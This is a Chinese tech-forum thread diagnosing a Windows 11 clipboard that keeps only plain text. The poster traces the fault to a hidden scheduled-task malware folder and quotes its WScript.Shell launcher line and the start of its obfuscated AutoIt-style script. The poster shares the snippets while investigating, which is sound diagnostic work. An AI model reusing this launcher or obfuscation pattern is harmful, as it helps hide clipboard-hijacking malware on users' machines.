RT , 这个帖子中,我提到 Office 只能粘贴纯文本内容,经过测试发现是 Window 的剪贴板就已经把其他的信息丢失掉了。 https://v2ex.com/t/1075494
我用 ClipboardViewer 这个工具,观察了复制后的剪贴板内容。 在粘贴正常的机器上,显示的结果是: Rich Text Format HTML Format Text UnicodeText SystemString 内容非常丰富. 因为内容比较多,这里就不粘贴内容了。 但在故障的机器上,显示的结果只有: Text UnicodeText SystemString 内容就只有纯文本. Clipboard DataObject Type: System.Windows.DataObject
The following data formats are present in the data object obtained from the clipboard: - Text (native) - UnicodeText (native) - System.String (autoconvertable) - Locale (native) - OEMText (native)
Text data:
UnicodeText data:
System.String data:
Locale data:
OEMText data:
所以我推断,是 Windows 11 的剪贴板服务出了问题.在网上也搜到一篇同样症状的。https://bbs.pcbeta.com/viewthread-1904174-1-1.html
想问下经验丰富的大虾,这种剪贴板的功能受限,是什么原因导致的?以及它的解决办法.谢谢啦!
1
ntedshen 87 天前
组策略里搜索剪贴板看看哪个被启用了?印象里 wd 和 ie 里面都有相关的设置,但是工作方法不确定。。。
|
3
flynaj 87 天前 via Android
win+v 看一下设置是不是没有启用
|
7
billccn 87 天前
多媒体剪贴板是上个世纪就有的远古 API ,不会依赖什么服务的,那个服务只不过是让你用 Win+V 的时候有个历史而已。
我觉得你这个现象就是原帖子里讲的有其他程序在监视剪贴板,然后把内容替换了。你可以写个程序看看是哪个进程: https://stackoverflow.com/a/3412830 |
8
tan9p OP @billccn 谢谢您的关注,我按照您的思路排查一下。
但是我用 clipboardview 里看,已经没有附加的信息了。能把改写剪贴板的程序找出来吗? |
9
tan9p OP 初步排查是 Lenovo Hotkeys 这个自启动程序导致的,但是我查不到这个程序的位置,不知道是那个程序引入的。
|
10
tan9p OP 今天发现不是上述 Lenovo HotKey 造成的.之所以造成这样的误解,是因为我取消程序的启动项后,重启测试发现粘贴行为正常,就以为是取消启动项修复了这个问题。
事实上不然,刚开机时粘贴的行为是正常的,过一段时间后粘贴行为就不正常了,是因为造成异常的程序还没来得及启动,造成了修复问题的假象. 造成粘贴行为异常的是一个名叫 jsc.exe 的程序. 它通过计划任务通过 js 程序启动. 有问题的文件夹是:AppData\Local\ProtezioneDati Inc\ 里面有:Proteggi.js 、E 、jsc.exe 和 Proteggi.pif 四个文件. Proteggi.js 里面就一句: `new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\Proteggi.pif\" \"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\E\"")` E 的内容很长,开头如: ``` $EagleConcluded = 36 $LauderdaleVeterinary = 98 While 674 If $EagleConcluded = 35 Then PixelGetColor(DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6), DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6)) ConsoleWriteError(DefinitionHierarchy("99X97X98X105X110X101X116X47X104X105X110X100X117X47X115X111X108X100X105X101X114X47",0/4)) Sqrt(2585) $EagleConcluded = $EagleConcluded + 1 EndIf ``` 并没有 jsc.exe 字段,不知道是如何运行 jsc.exe 的. |